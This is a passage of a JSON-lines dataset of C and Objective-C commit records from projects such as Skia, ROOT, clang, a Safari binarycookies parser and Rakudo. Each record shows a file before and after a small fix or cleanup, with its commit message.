/libmesh,dschwen\/libmesh"}
{"commit":"60ad6d206abc1aecef270e4ec6e37e51deebc3a6","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdio.h>\n\n#include \"aes.h\"\n\nint\nmain(int argc, char **argv)\n{\n\taes_init();\n\n\treturn 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\n#include \"aes.h\"\n\nint\nmain(int argc, char **argv)\n{\n\tlong blocks;\n\tchar *nptr;\n\n\taes_init();\n\n\tblocks = 10;\n\tif (argc > 1)\n\t{\n\t\tlong b = strtol(argv[1], &nptr, 10);\n\t\tif (argv[1] != nptr)\n\t\t{\n\t\t\tblocks = b;\n\t\t}\n\t}\n\n\treturn 0;\n}\n","subject":"Allow specifying number of blocks to test","message":"Allow specifying number of blocks to test\n","lang":"C","license":"bsd-2-clause","repos":"seankelly\/aesni,seankelly\/aesni"}
{"commit":"f740bdd7dfea751bb9f7657ba58d44c4b2f5652d","old_file":"src\/core\/SkTextFormatParams.h","new_file":"src\/core\/SkTextFormatParams.h","old_contents":"\/*\n * Copyright 2010 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#ifndef SkTextFormatParams_DEFINES\n#define SkTextFormatParams_DEFINES\n\n#include \"include\/core\/SkScalar.h\"\n#include \"include\/core\/SkTypes.h\"\n\n\/\/ Fraction of the text size to lower a strike through line below the baseline.\n#define kStdStrikeThru_Offset       (-SK_Scalar1 * 6 \/ 21)\n\/\/ Fraction of the text size to lower a underline below the baseline.\n#define kStdUnderline_Offset        (SK_Scalar1 \/ 9)\n\/\/ Fraction of the text size to use for a strike through or under-line.\n#define kStdUnderline_Thickness     (SK_Scalar1 \/ 18)\n\n\/\/ The fraction of text size to embolden fake bold text scales with text size.\n\/\/ At 9 points or below, the stroke width is increased by text size \/ 24.\n\/\/ At 36 points and above, it is increased by text size \/ 32.  In between,\n\/\/ it is interpolated between those values.\nstatic const SkScalar kStdFakeBoldInterpKeys[] = {\n    SK_Scalar1*9,\n    SK_Scalar1*36,\n};\nstatic const SkScalar kStdFakeBoldInterpValues[] = {\n    SK_Scalar1\/24,\n    SK_Scalar1\/32,\n};\nstatic_assert(SK_ARRAY_COUNT(kStdFakeBoldInterpKeys) == SK_ARRAY_COUNT(kStdFakeBoldInterpValues),\n              \"mismatched_array_size\");\nstatic const int kStdFakeBoldInterpLength = SK_ARRAY_COUNT(kStdFakeBoldInterpKeys);\n\n#endif  \/\/SkTextFormatParams_DEFINES\n","new_contents":"\/*\n * Copyright 2010 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#ifndef SkTextFormatParams_DEFINES\n#define SkTextFormatParams_DEFINES\n\n#include \"include\/core\/SkScalar.h\"\n#include \"include\/core\/SkTypes.h\"\n\n\/\/ The fraction of text size to embolden fake bold text scales with text size.\n\/\/ At 9 points or below, the stroke width is increased by text size \/ 24.\n\/\/ At 36 points and above, it is increased by text size \/ 32.  In between,\n\/\/ it is interpolated between those values.\nstatic const SkScalar kStdFakeBoldInterpKeys[] = {\n    SK_Scalar1*9,\n    SK_Scalar1*36,\n};\nstatic const SkScalar kStdFakeBoldInterpValues[] = {\n    SK_Scalar1\/24,\n    SK_Scalar1\/32,\n};\nstatic_assert(SK_ARRAY_COUNT(kStdFakeBoldInterpKeys) == SK_ARRAY_COUNT(kStdFakeBoldInterpValues),\n              \"mismatched_array_size\");\nstatic const int kStdFakeBoldInterpLength = SK_ARRAY_COUNT(kStdFakeBoldInterpKeys);\n\n#endif  \/\/SkTextFormatParams_DEFINES\n","subject":"Remove unused text format constants.","message":"Remove unused text format constants.\n\nA long time ago Skia used handle strike-thru and underlines as part of\nthe glyph masks. When it did so there were some overridable constants\nfor where they should go. Since this function has long since been\nremoved, remove these no longer used constants.\n\nChange-Id: I8bc7dbe03e82a5d244438aaaeaf024d8c95280d8\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/477160\nCommit-Queue: Ben Wagner <53965154ffeecc4a10886eab9259e95965f2979a@google.com>\nCommit-Queue: Herb Derby <9e12a3d2bbf73546e47cc9958f6ba8f3215b7eaf@google.com>\nAuto-Submit: Ben Wagner <53965154ffeecc4a10886eab9259e95965f2979a@google.com>\nReviewed-by: Herb Derby <9e12a3d2bbf73546e47cc9958f6ba8f3215b7eaf@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia"}
{"commit":"72939a4c9e1db029e42473a0b4e018c8e6f46cf8","old_file":"sql\/sqlite\/inc\/TSQLiteRow.h","new_file":"sql\/sqlite\/inc\/TSQLiteRow.h","old_contents":"\/\/ @(#)root\/sqlite:$Id$\n\/\/ Author: o.freyermuth <o.f@cern.ch>, 01\/06\/2013\n\n\/*************************************************************************\n * Copyright (C) 1995-2013, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TPgSQLRow\n#define ROOT_TPgSQLRow\n\n#ifndef ROOT_TSQLRow\n#include \"TSQLRow.h\"\n#endif\n\n#if !defined(__CINT__)\n#include <sqlite3.h>\n#else\nstruct sqlite3_stmt;\n#endif\n\n\nclass TSQLiteRow : public TSQLRow {\n\nprivate:\n   sqlite3_stmt *fResult;       \/\/ current result set\n   Bool_t        IsValid(Int_t field);\n\npublic:\n   TSQLiteRow(void *result, ULong_t rowHandle);\n   ~TSQLiteRow();\n\n   void        Close(Option_t *opt=\"\");\n   ULong_t     GetFieldLength(Int_t field);\n   const char *GetField(Int_t field);\n\n   ClassDef(TSQLiteRow,0)  \/\/ One row of SQLite query result\n};\n\n#endif\n","new_contents":"\/\/ @(#)root\/sqlite:\n\/\/ Author: o.freyermuth <o.f@cern.ch>, 01\/06\/2013\n\n\/*************************************************************************\n * Copyright (C) 1995-2013, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TSQLiteRow\n#define ROOT_TSQLiteRow\n\n#ifndef ROOT_TSQLRow\n#include \"TSQLRow.h\"\n#endif\n\n#if !defined(__CINT__)\n#include <sqlite3.h>\n#else\nstruct sqlite3_stmt;\n#endif\n\n\nclass TSQLiteRow : public TSQLRow {\n\nprivate:\n   sqlite3_stmt *fResult;       \/\/ current result set\n   Bool_t        IsValid(Int_t field);\n\npublic:\n   TSQLiteRow(void *result, ULong_t rowHandle);\n   ~TSQLiteRow();\n\n   void        Close(Option_t *opt=\"\");\n   ULong_t     GetFieldLength(Int_t field);\n   const char *GetField(Int_t field);\n\n   ClassDef(TSQLiteRow,0)  \/\/ One row of SQLite query result\n};\n\n#endif\n","subject":"Fix fatal typo in code guard","message":"Fix fatal typo in code guard\n","lang":"C","license":"lgpl-2.1","repos":"arch1tect0r\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,BerserkerTroll\/root,Y--\/root,omazapa\/root-old,vukasinmilosevic\/root,sawenzel\/root,gbitzes\/root,sbinet\/cxx-root,omazapa\/root-old,arch1tect0r\/root,simonpf\/root,zzxuanyuan\/root,gbitzes\/root,omazapa\/root-old,dfunke\/root,zzxuanyuan\/root-compressor-dummy,esakellari\/root,omazapa\/root,esakellari\/my_root_for_test,0x0all\/ROOT,sirinath\/root,esakellari\/my_root_for_test,bbockelm\/root,Duraznos\/root,georgtroska\/root,thomaskeck\/root,vukasinmilosevic\/root,dfunke\/root,esakellari\/my_root_for_test,smarinac\/root,krafczyk\/root,mkret2\/root,zzxuanyuan\/root,simonpf\/root,root-mirror\/root,sawenzel\/root,abhinavmoudgil95\/root,gbitzes\/root,omazapa\/root,abhinavmoudgil95\/root,Duraznos\/root,nilqed\/root,buuck\/root,sbinet\/cxx-root,mattkretz\/root,jrtomps\/root,gbitzes\/root,bbockelm\/root,beniz\/root,root-mirror\/root,vukasinmilosevic\/root,zzxuanyuan\/root-compressor-dummy,CristinaCristescu\/root,gbitzes\/root,krafczyk\/root,Y--\/root,agarciamontoro\/root,krafczyk\/root,Y--\/root,lgiommi\/root,omazapa\/root,mkret2\/root,mattkretz\/root,BerserkerTroll\/root,gbitzes\/root,zzxuanyuan\/root,sbinet\/cxx-root,0x0all\/ROOT,satyarth934\/root,zzxuanyuan\/root,abhinavmoudgil95\/root,esakellari\/root,Duraznos\/root,abhinavmoudgil95\/root,root-mirror\/root,omazapa\/root,gbitzes\/root,agarciamontoro\/root,gganis\/root,bbockelm\/root,evgeny-boger\/root,karies\/root,mattkretz\/root,simonpf\/root,BerserkerTroll\/root,perovic\/root,buuck\/root,root-mirror\/root,gganis\/root,abhinavmoudgil95\/root,zzxuanyuan\/root-compressor-dummy,perovic\/root,omazapa\/root-old,smarinac\/root,omazapa\/root-old,jrtomps\/root,nilqed\/root,mhuwiler\/rootauto,sbinet\/cxx-root,pspe\/root,evgeny-boger\/root,olifre\/root,nilqed\/root,CristinaCristescu\/root,mhuwiler\/rootauto,omazapa\/root,karies\/root,CristinaCristescu\/root,abhinavmoudgil95\/root,sawenzel\/root,krafczyk\/root,lgiommi\/root,arch1tect0r\/root,gganis\/root,jrtomps\/root,smarinac\/root,esakellari\/my_root_for_test,evgeny-boger\/root,pspe\/root,smarinac\/root,mhuwiler\/rootauto,omazapa\/root-old,georgtroska\/root,beniz\/root,mkret2\/root,evgeny-boger\/root,olifre\/root,nilqed\/root,CristinaCristescu\/root,gbitzes\/root,0x0all\/ROOT,zzxuanyuan\/root-compressor-dummy,esakellari\/root,mhuwiler\/rootauto,Duraznos\/root,zzxuanyuan\/root-compressor-dummy,gganis\/root,abhinavmoudgil95\/root,olifre\/root,thomaskeck\/root,CristinaCristescu\/root,pspe\/root,krafczyk\/root,jrtomps\/root,georgtroska\/root,mattkretz\/root,simonpf\/root,pspe\/root,arch1tect0r\/root,veprbl\/root,lgiommi\/root,davidlt\/root,mkret2\/root,beniz\/root,georgtroska\/root,mattkretz\/root,zzxuanyuan\/root,simonpf\/root,sbinet\/cxx-root,perovic\/root,pspe\/root,perovic\/root,sirinath\/root,arch1tect0r\/root,evgeny-boger\/root,jrtomps\/root,simonpf\/root,vukasinmilosevic\/root,davidlt\/root,georgtroska\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,smarinac\/root,veprbl\/root,BerserkerTroll\/root,davidlt\/root,georgtroska\/root,zzxuanyuan\/root,omazapa\/root,sawenzel\/root,arch1tect0r\/root,perovic\/root,davidlt\/root,georgtroska\/root,lgiommi\/root,olifre\/root,abhinavmoudgil95\/root,simonpf\/root,olifre\/root,krafczyk\/root,pspe\/root,agarciamontoro\/root,veprbl\/root,karies\/root,satyarth934\/root,omazapa\/root,Y--\/root,omazapa\/root-old,lgiommi\/root,lgiommi\/root,pspe\/root,veprbl\/root,davidlt\/root,pspe\/root,Duraznos\/root,satyarth934\/root,vukasinmilosevic\/root,simonpf\/root,nilqed\/root,dfunke\/root,bbockelm\/root,gbitzes\/root,agarciamontoro\/root,mattkretz\/root,Y--\/root,buuck\/root,zzxuanyuan\/root,jrtomps\/root,karies\/root,root-mirror\/root,olifre\/root,satyarth934\/root,root-mirror\/root,Y--\/root,esakellari\/my_root_for_test,jrtomps\/root,evgeny-boger\/root,perovic\/root,jrtomps\/root,georgtroska\/root,BerserkerTroll\/root,esakellari\/my_root_for_test,mattkretz\/root,buuck\/root,esakellari\/root,beniz\/root,vukasinmilosevic\/root,dfunke\/root,karies\/root,mkret2\/root,veprbl\/root,agarciamontoro\/root,vukasinmilosevic\/root,0x0all\/ROOT,gganis\/root,zzxuanyuan\/root-compressor-dummy,sirinath\/root,zzxuanyuan\/root,sbinet\/cxx-root,georgtroska\/root,0x0all\/ROOT,satyarth934\/root,sirinath\/root,karies\/root,mkret2\/root,davidlt\/root,mhuwiler\/rootauto,olifre\/root,karies\/root,karies\/root,agarciamontoro\/root,thomaskeck\/root,zzxuanyuan\/root,arch1tect0r\/root,Y--\/root,zzxuanyuan\/root,lgiommi\/root,veprbl\/root,gbitzes\/root,karies\/root,CristinaCristescu\/root,dfunke\/root,karies\/root,root-mirror\/root,smarinac\/root,agarciamontoro\/root,sirinath\/root,Duraznos\/root,sawenzel\/root,gganis\/root,CristinaCristescu\/root,pspe\/root,karies\/root,perovic\/root,evgeny-boger\/root,sirinath\/root,lgiommi\/root,agarciamontoro\/root,dfunke\/root,dfunke\/root,mattkretz\/root,omazapa\/root-old,buuck\/root,krafczyk\/root,buuck\/root,jrtomps\/root,BerserkerTroll\/root,esakellari\/my_root_for_test,esakellari\/my_root_for_test,gganis\/root,pspe\/root,omazapa\/root,krafczyk\/root,esakellari\/my_root_for_test,sawenzel\/root,root-mirror\/root,mattkretz\/root,agarciamontoro\/root,sbinet\/cxx-root,satyarth934\/root,sirinath\/root,thomaskeck\/root,sirinath\/root,0x0all\/ROOT,smarinac\/root,veprbl\/root,simonpf\/root,sbinet\/cxx-root,BerserkerTroll\/root,esakellari\/root,arch1tect0r\/root,veprbl\/root,satyarth934\/root,beniz\/root,BerserkerTroll\/root,thomaskeck\/root,root-mirror\/root,satyarth934\/root,mhuwiler\/rootauto,gganis\/root,beniz\/root,sbinet\/cxx-root,beniz\/root,Y--\/root,satyarth934\/root,esakellari\/root,davidlt\/root,dfunke\/root,sawenzel\/root,bbockelm\/root,sawenzel\/root,smarinac\/root,mkret2\/root,mattkretz\/root,esakellari\/root,BerserkerTroll\/root,mhuwiler\/rootauto,omazapa\/root-old,arch1tect0r\/root,nilqed\/root,gganis\/root,mkret2\/root,omazapa\/root,vukasinmilosevic\/root,olifre\/root,CristinaCristescu\/root,olifre\/root,0x0all\/ROOT,thomaskeck\/root,nilqed\/root,agarciamontoro\/root,0x0all\/ROOT,veprbl\/root,davidlt\/root,root-mirror\/root,buuck\/root,gbitzes\/root,perovic\/root,abhinavmoudgil95\/root,lgiommi\/root,Duraznos\/root,Y--\/root,root-mirror\/root,omazapa\/root-old,pspe\/root,nilqed\/root,mhuwiler\/rootauto,abhinavmoudgil95\/root,mhuwiler\/rootauto,esakellari\/root,thomaskeck\/root,perovic\/root,dfunke\/root,buuck\/root,mhuwiler\/rootauto,zzxuanyuan\/root,lgiommi\/root,bbockelm\/root,nilqed\/root,omazapa\/root,lgiommi\/root,mkret2\/root,mkret2\/root,evgeny-boger\/root,jrtomps\/root,evgeny-boger\/root,zzxuanyuan\/root-compressor-dummy,sbinet\/cxx-root,veprbl\/root,mkret2\/root,simonpf\/root,krafczyk\/root,Duraznos\/root,sirinath\/root,Y--\/root,beniz\/root,zzxuanyuan\/root-compressor-dummy,satyarth934\/root,agarciamontoro\/root,beniz\/root,zzxuanyuan\/root,bbockelm\/root,perovic\/root,omazapa\/root-old,Y--\/root,smarinac\/root,arch1tect0r\/root,CristinaCristescu\/root,vukasinmilosevic\/root,abhinavmoudgil95\/root,davidlt\/root,evgeny-boger\/root,sawenzel\/root,bbockelm\/root,krafczyk\/root,vukasinmilosevic\/root,davidlt\/root,arch1tect0r\/root,thomaskeck\/root,thomaskeck\/root,simonpf\/root,0x0all\/ROOT,krafczyk\/root,evgeny-boger\/root,zzxuanyuan\/root-compressor-dummy,veprbl\/root,omazapa\/root,gganis\/root,olifre\/root,smarinac\/root,sbinet\/cxx-root,BerserkerTroll\/root,georgtroska\/root,esakellari\/root,CristinaCristescu\/root,dfunke\/root,mhuwiler\/rootauto,jrtomps\/root,perovic\/root,beniz\/root,esakellari\/root,buuck\/root,sawenzel\/root,Duraznos\/root,vukasinmilosevic\/root,CristinaCristescu\/root,esakellari\/root,sirinath\/root,buuck\/root,esakellari\/my_root_for_test,bbockelm\/root,buuck\/root,Duraznos\/root,gganis\/root,bbockelm\/root,olifre\/root,thomaskeck\/root,georgtroska\/root,sawenzel\/root,Duraznos\/root,bbockelm\/root,dfunke\/root,nilqed\/root,sirinath\/root,nilqed\/root,satyarth934\/root,mattkretz\/root"}
{"commit":"69f10062ab629f12d111e538a4f1acb6d66327d4","old_file":"test\/Driver\/nozlibcompress.c","new_file":"test\/Driver\/nozlibcompress.c","old_contents":"\/\/ REQUIRES: nozlib\n\n\/\/ RUN: %clang -### -fintegrated-as -gz -c %s 2>&1 | FileCheck %s -check-prefix CHECK-WARN\n\/\/ RUN: %clang -### -fintegrated-as -gz=none -c %s 2>&1 | FileCheck -allow-empty -check-prefix CHECK-NOWARN %s\n\n\/\/ CHECK-WARN: warning: cannot compress debug sections (zlib not installed)\n\/\/ CHECK-NOWARN-NOT: warning: cannot compress debug sections (zlib not installed)\n","new_contents":"\/\/ REQUIRES: !zlib\n\n\/\/ RUN: %clang -### -fintegrated-as -gz -c %s 2>&1 | FileCheck %s -check-prefix CHECK-WARN\n\/\/ RUN: %clang -### -fintegrated-as -gz=none -c %s 2>&1 | FileCheck -allow-empty -check-prefix CHECK-NOWARN %s\n\n\/\/ CHECK-WARN: warning: cannot compress debug sections (zlib not installed)\n\/\/ CHECK-NOWARN-NOT: warning: cannot compress debug sections (zlib not installed)\n","subject":"Replace 'REQUIRES: nozlib' with '!zlib' because we don't need two ways to say the same thing.","message":"Replace 'REQUIRES: nozlib' with '!zlib' because we don't need two ways\nto say the same thing.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@360452 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"a7d34e88287ab77caa99d58092c66da92546a10a","old_file":"ReactLocalization.h","new_file":"ReactLocalization.h","old_contents":"\/\/\n\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2015 Stefano Falda (stefano.falda@gmail.com)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/ copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIDevice.h>\n#import \"RCTBridgeModule.h\"\n#import \"RCTLog.h\"\n@interface ReactLocalization : NSObject<RCTBridgeModule>\n\n@end\n","new_contents":"\/\/\n\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2015 Stefano Falda (stefano.falda@gmail.com)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/ copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIDevice.h>\n#if __has_include(\"RCTBridgeModule.h\")\n#import \"RCTBridgeModule.h\"\n#import \"RCTLog.h\"\n#else\n#import <React\/RCTBridgeModule.h>\n#import <React\/RCTLog.h>\n#endif\n@interface ReactLocalization : NSObject<RCTBridgeModule>\n\n@end\n","subject":"Change headers for react-native 0.40 compatibility","message":"Change headers for react-native 0.40 compatibility\n","lang":"C","license":"mit","repos":"stefalda\/ReactNativeLocalization,stefalda\/ReactNativeLocalization,stefalda\/ReactNativeLocalization,stefalda\/ReactNativeLocalization"}
{"commit":"9ba97cce3773e59677346e66484dbdc5c80f26a6","old_file":"test\/main.c","new_file":"test\/main.c","old_contents":"#include <stdio.h>\n\n#include \"bincookie.h\"\n\nint main(int argc, char *argv[]) {\n    if (argc != 2) {\n        printf(\"Usage: %s [Full path to Cookies.binarycookies file]\\n\", argv[0]);\n        printf(\"Example: %s Cookies.binarycookies\\n\", argv[0]);\n        return 1;\n    }\n\n    binarycookies_t *bc = binarycookies_init(argv[1]);\n    unsigned int i, j;\n\n    \/\/ Output in Netscape cookies.txt format\n    for (i = 0; i < bc->num_pages; i++) {\n        for (j = 0; j < bc->pages[i]->number_of_cookies; j++) {\n            \/\/ domain, flag, path, secure, expiration, name, value\n            printf(\"%s\\t%s\\t%s\\t%s\\t%.f\\t%s\\t%s\\n\",\n                   bc->pages[i]->cookies[j]->domain,\n                   bc->pages[i]->cookies[j]->domain[0] == '.' ? \"TRUE\" : \"FALSE\",\n                   bc->pages[i]->cookies[j]->path,\n                   binarycookies_is_secure(bc->pages[i]->cookies[j]) ? \"TRUE\" : \"FALSE\",\n                   bc->pages[i]->cookies[j]->expiration_date,\n                   bc->pages[i]->cookies[j]->name,\n                   bc->pages[i]->cookies[j]->value);\n        }\n    }\n\n    binarycookies_free(bc);\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\n#include \"bincookie.h\"\n\nint main(int argc, char *argv[]) {\n    if (argc != 2) {\n        printf(\"Usage: %s [Full path to Cookies.binarycookies file]\\n\", argv[0]);\n        printf(\"Example: %s Cookies.binarycookies\\n\", argv[0]);\n        return 1;\n    }\n\n    binarycookies_t *bc = binarycookies_init(argv[1]);\n    unsigned int i, j;\n\n    \/\/ Output in Netscape cookies.txt format\n    for (i = 0; i < bc->num_pages; i++) {\n        for (j = 0; j < bc->pages[i]->number_of_cookies; j++) {\n            \/\/ domain, flag, path, secure, expiration, name, value\n            printf(\"%s\\t%s\\t%s\\t%s\\t%.f\\t%s\\t%s\\n\",\n                   bc->pages[i]->cookies[j]->domain,\n                   binarycookies_domain_access_full(bc->pages[i]->cookies[j]) ? \"TRUE\" : \"FALSE\",\n                   bc->pages[i]->cookies[j]->path,\n                   binarycookies_is_secure(bc->pages[i]->cookies[j]) ? \"TRUE\" : \"FALSE\",\n                   bc->pages[i]->cookies[j]->expiration_date,\n                   bc->pages[i]->cookies[j]->name,\n                   bc->pages[i]->cookies[j]->value);\n        }\n    }\n\n    binarycookies_free(bc);\n\n    return 0;\n}\n","subject":"Use macro in example code","message":"Use macro in example code\n","lang":"C","license":"mit","repos":"Tatsh\/libbinarycookies,Tatsh\/libbinarycookies"}
{"commit":"92bbf5c179d533c93c19a51a62770cf5392a95a5","old_file":"t\/04-nativecall\/04-pointers.c","new_file":"t\/04-nativecall\/04-pointers.c","old_contents":"#include <stdio.h>\n#include <string.h>\n\n#ifdef WIN32\n#define DLLEXPORT __declspec(dllexport)\n#else\n#define DLLEXPORT extern\n#endif\n\nDLLEXPORT void * ReturnSomePointer()\n{\n    char *x = \"Got passed back the pointer I returned\";\n    return x;\n}\n\nDLLEXPORT int CompareSomePointer(void *ptr)\n{\n    int x = strcmp(\"Got passed back the pointer I returned\", ptr) == 0;\n    return x;\n}\n\nDLLEXPORT void * ReturnNullPointer()\n{\n    return NULL;\n}\n\nDLLEXPORT void * TakeTwoPointersToInt(int *ptr1, int *ptr2)\n{\n    return NULL;\n}\n\nDLLEXPORT void * TakeCArrayToInt8(int array[]) {\n    return NULL;\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n\n#ifdef WIN32\n#define DLLEXPORT __declspec(dllexport)\n#else\n#define DLLEXPORT extern\n#endif\n\nDLLEXPORT void * ReturnSomePointer()\n{\n    return strdup(\"Got passed back the pointer I returned\");\n}\n\nDLLEXPORT int CompareSomePointer(void *ptr)\n{\n    int x = strcmp(\"Got passed back the pointer I returned\", ptr) == 0;\n    free(ptr);\n    return x;\n}\n\nDLLEXPORT void * ReturnNullPointer()\n{\n    return NULL;\n}\n\nDLLEXPORT void * TakeTwoPointersToInt(int *ptr1, int *ptr2)\n{\n    return NULL;\n}\n\nDLLEXPORT void * TakeCArrayToInt8(int array[]) {\n    return NULL;\n}\n","subject":"Fix C issue in NativeCall tests.","message":"Fix C issue in NativeCall tests.\n\nOne of the pointer tests returned a pointer to astack allocated string outside\nof the function, which is not very safe. Replace it with a strdup()ed string\nthat's freed on verification.\n","lang":"C","license":"artistic-2.0","repos":"ab5tract\/rakudo,b2gills\/rakudo,niner\/rakudo,nbrown\/rakudo,sergot\/rakudo,cygx\/rakudo,samcv\/rakudo,rakudo\/rakudo,lucasbuchala\/rakudo,raydiak\/rakudo,b2gills\/rakudo,niner\/rakudo,niner\/rakudo,salortiz\/rakudo,rakudo\/rakudo,Gnouc\/rakudo,softmoth\/rakudo,paultcochrane\/rakudo,zostay\/rakudo,tony-o\/rakudo,nunorc\/rakudo,cygx\/rakudo,ungrim97\/rakudo,dankogai\/rakudo,salortiz\/rakudo,zostay\/rakudo,sergot\/rakudo,usev6\/rakudo,sjn\/rakudo,MasterDuke17\/rakudo,salortiz\/rakudo,MasterDuke17\/rakudo,ab5tract\/rakudo,cognominal\/rakudo,LLFourn\/rakudo,ab5tract\/rakudo,samcv\/rakudo,Gnouc\/rakudo,jonathanstowe\/rakudo,ungrim97\/rakudo,awwaiid\/rakudo,tbrowder\/rakudo,Leont\/rakudo,labster\/rakudo,rakudo\/rakudo,tony-o\/rakudo,salortiz\/rakudo,softmoth\/rakudo,zhuomingliang\/rakudo,labster\/rakudo,samcv\/rakudo,samcv\/rakudo,cygx\/rakudo,cognominal\/rakudo,sjn\/rakudo,jonathanstowe\/rakudo,labster\/rakudo,jonathanstowe\/rakudo,Gnouc\/rakudo,ugexe\/rakudo,skids\/rakudo,laben\/rakudo,nbrown\/rakudo,awwaiid\/rakudo,sjn\/rakudo,azawawi\/rakudo,LLFourn\/rakudo,tony-o\/rakudo,nunorc\/rakudo,laben\/rakudo,Gnouc\/rakudo,cygx\/rakudo,Leont\/rakudo,sergot\/rakudo,usev6\/rakudo,labster\/rakudo,ugexe\/rakudo,b2gills\/rakudo,paultcochrane\/rakudo,MasterDuke17\/rakudo,jonathanstowe\/rakudo,raydiak\/rakudo,skids\/rakudo,azawawi\/rakudo,MasterDuke17\/rakudo,nbrown\/rakudo,awwaiid\/rakudo,tbrowder\/rakudo,laben\/rakudo,paultcochrane\/rakudo,nunorc\/rakudo,paultcochrane\/rakudo,ab5tract\/rakudo,dankogai\/rakudo,zhuomingliang\/rakudo,jonathanstowe\/rakudo,cognominal\/rakudo,lucasbuchala\/rakudo,paultcochrane\/rakudo,MasterDuke17\/rakudo,azawawi\/rakudo,dankogai\/rakudo,labster\/rakudo,rakudo\/rakudo,tbrowder\/rakudo,lucasbuchala\/rakudo,dankogai\/rakudo,sjn\/rakudo,ugexe\/rakudo,nbrown\/rakudo,usev6\/rakudo,usev6\/rakudo,rakudo\/rakudo,salortiz\/rakudo,ugexe\/rakudo,sjn\/rakudo,cygx\/rakudo,LLFourn\/rakudo,rakudo\/rakudo,Gnouc\/rakudo,skids\/rakudo,LLFourn\/rakudo,cognominal\/rakudo,Leont\/rakudo,ungrim97\/rakudo,tony-o\/rakudo,nbrown\/rakudo,awwaiid\/rakudo,cognominal\/rakudo,samcv\/rakudo,niner\/rakudo,Leont\/rakudo,tbrowder\/rakudo,tbrowder\/rakudo,softmoth\/rakudo,sergot\/rakudo,softmoth\/rakudo,tony-o\/rakudo,salortiz\/rakudo,nunorc\/rakudo,zhuomingliang\/rakudo,laben\/rakudo,b2gills\/rakudo,lucasbuchal